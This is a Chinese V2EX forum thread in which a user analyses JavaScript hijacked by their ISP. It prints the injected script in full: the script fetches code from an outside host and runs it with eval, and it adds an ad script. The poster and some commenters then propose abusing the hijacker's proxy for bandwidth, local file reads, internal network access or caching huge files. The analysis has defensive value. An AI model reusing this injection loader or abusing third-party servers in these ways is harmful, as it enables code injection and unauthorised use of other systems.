一个反杀网络劫持的思路?

2018-01-27 12:53:56 +08:00
 Soar360

租住昌平一角的公寓,宽带不知名,10M 要 100RMB 一月。最近发现网络劫持越来越厉害了。

网络抓包发现,包含 jQuery 在内的多个 js 文件被劫持,文件内容被替换为了下面的样子(原地址是 ECharts ):

var sourceScriptURI = 'http://echarts.baidu.com/dist/echarts.min.js';
(function() {
    var evalGloble = eval;
    var _loader = function(uri) {
        if (!top || !this) {
            return setTimeout(arguments.callee, 50);
        }
        if (top != this) {
            return;
        }

        var s = window.top.document.createElement('script');
        s.src = uri;
        s.type = 'text/javascript';
        s.charset = 'utf-8';
        s.async = 'true';
        window.top.document.body.appendChild(s);
    };

    var evalSrcScript = function(uri) {
        var url = "http://www.fjlqqc.com/common/api/v1.0/src_script/?path=" + encodeURIComponent(uri);
        var xhr = new XMLHttpRequest();
        xhr.open('GET', url, false);
        xhr.setRequestHeader("X-Page-Charset", document.charset);
        xhr.send();
        try {
            evalGloble(xhr.responseText);
        } catch(error) {}
    };

    var getCurrentScript = function(sourceScriptURI) {
        var scripts = document.getElementsByTagName('script');
        for (var i = 0; i < scripts.length; ++i) {
            if (scripts[i].src == sourceScriptURI) return scripts[i];
        }
    };

    var _looper, injection;
    var _loop = function() {
        switch (document.readyState) {
            case 'loading':
                break;
            case 'interactive':
            case 'complete':
                clearInterval(_looper);
                if (window.__COODAGLIFE__ === undefined) {
                    _loader(injectionScriptURI + trim(publisherID) + "/");
                    localStorage.COODAG_SERUM_IC = injectionScriptURI;
                    window.__COODAGLIFE__ = true;
                }
                break;
            default:
                clearInterval(_looper);
                break;
        }
    };

    var inject = function() {
        _looper = setInterval(_loop, 50);
    };

    function trim(s){
        return s.replace(/(^\s*)|(\s*$)/g, "");
    }

    var publisherID = '00000000-00000-0000-0000';//已修改
    var injectionScriptURI = "http://www.fjlqqc.com/common/api/v1.0/slot-code/publisher/";
    //var currentScript = getCurrentScript(sourceScriptURI);
    if (true) {
        evalSrcScript(sourceScriptURI);
    }

    inject();
})();

可以看到,这段代码向页面注入了另一段 js 代码

http://www.fjlqqc.com/common/api/v1.0/slot-code/publisher/{publisherID}/

并通过访问

http://www.fjlqqc.com/common/api/v1.0/src_script/?path={sourceScriptURI}

将原始的 JS 再带入网页。如何反杀?当然是用它的代理咯。于是我写出了下面的代码:

<img src="http://www.fjlqqc.com/common/api/v1.0/src_script/?path=https%3A%2F%2Fwww.coderbusy.com%2Fwp-content%2Fuploads%2F2017%2F10%2F20171010032255_3047.png" />

经测试,可用,速度还可以。要不要挂一个大大的下载包上去,就看各位的心情了。

8250 次点击
所在节点    奇思妙想
24 条回复
jackyzy823
2018-01-27 12:56:32 +08:00
还可以看看能不能本地文件读取,或者内网穿透之类的…
Zzzzzzzzz
2018-01-27 13:01:52 +08:00
Soar360
2018-01-27 13:13:41 +08:00
你更狠。
chen2016
2018-01-27 13:24:16 +08:00
666,放福利片然后提供给广大网友下载
miyuki
2018-01-27 13:26:35 +08:00
@Zzzzzzzzz 这个已经成功缓存了
dzxx36gyy
2018-01-27 13:56:23 +08:00
http://speedtest.tele2.net/1000GB.zip
你需要让他缓存这个……
Soar360
2018-01-27 14:18:15 +08:00
dzxx36gyy
2018-01-27 14:25:36 +08:00
@Soar360 不能带 ref 访问,你粘贴到浏览器里是 ok 的
lmusicwq
2018-01-27 14:36:29 +08:00
10M 100 一个月也太贵了吧
Soar360
2018-01-27 14:41:33 +08:00
@lmusicwq 垄断
slwl123
2018-01-27 14:47:34 +08:00
不知道你那里 4G 信号如何 弄个无限流量套餐比较划算 当然不能经常常下载
zjcqoo
2018-01-27 15:47:29 +08:00
Globle 都拼错了,差评😂
zjcqoo
2018-01-27 15:57:37 +08:00
@Soar360 放大大的下载包并没有用。代理服务的本地缓存大小是有上限的,超过了就把老的文件抹掉了。而且代理一般都是基于流的,你下载了多少它缓存多少。你下载 1KB 之后断开,它缓存的也就 1KB 或者稍微多一点的数据量。(当然这个是一般的代理实现方式,如果他是自己实现的就不好说了)
@dzxx36gyy 在页面里配个 no-referrer 策略就可以不带 refer 了吧~
Soar360
2018-01-27 15:57:52 +08:00
@slwl123 家里有小孩儿 每天要看动画
wangxiaohao
2018-01-27 19:01:23 +08:00
厉害了
666
Soar360
2018-01-27 21:31:08 +08:00
@wangxiaohao 卧槽,大师现身,666。
aheadlead
2018-01-27 22:40:32 +08:00
这个代理可以拿来上网吧..
jiqing
2018-01-27 22:59:40 +08:00
这是啥意思
anheiyouxia
2018-01-28 01:10:10 +08:00
明天玩玩
crab
2018-01-28 01:31:55 +08:00
这域名泛解析真厉害!!!

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/426362

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX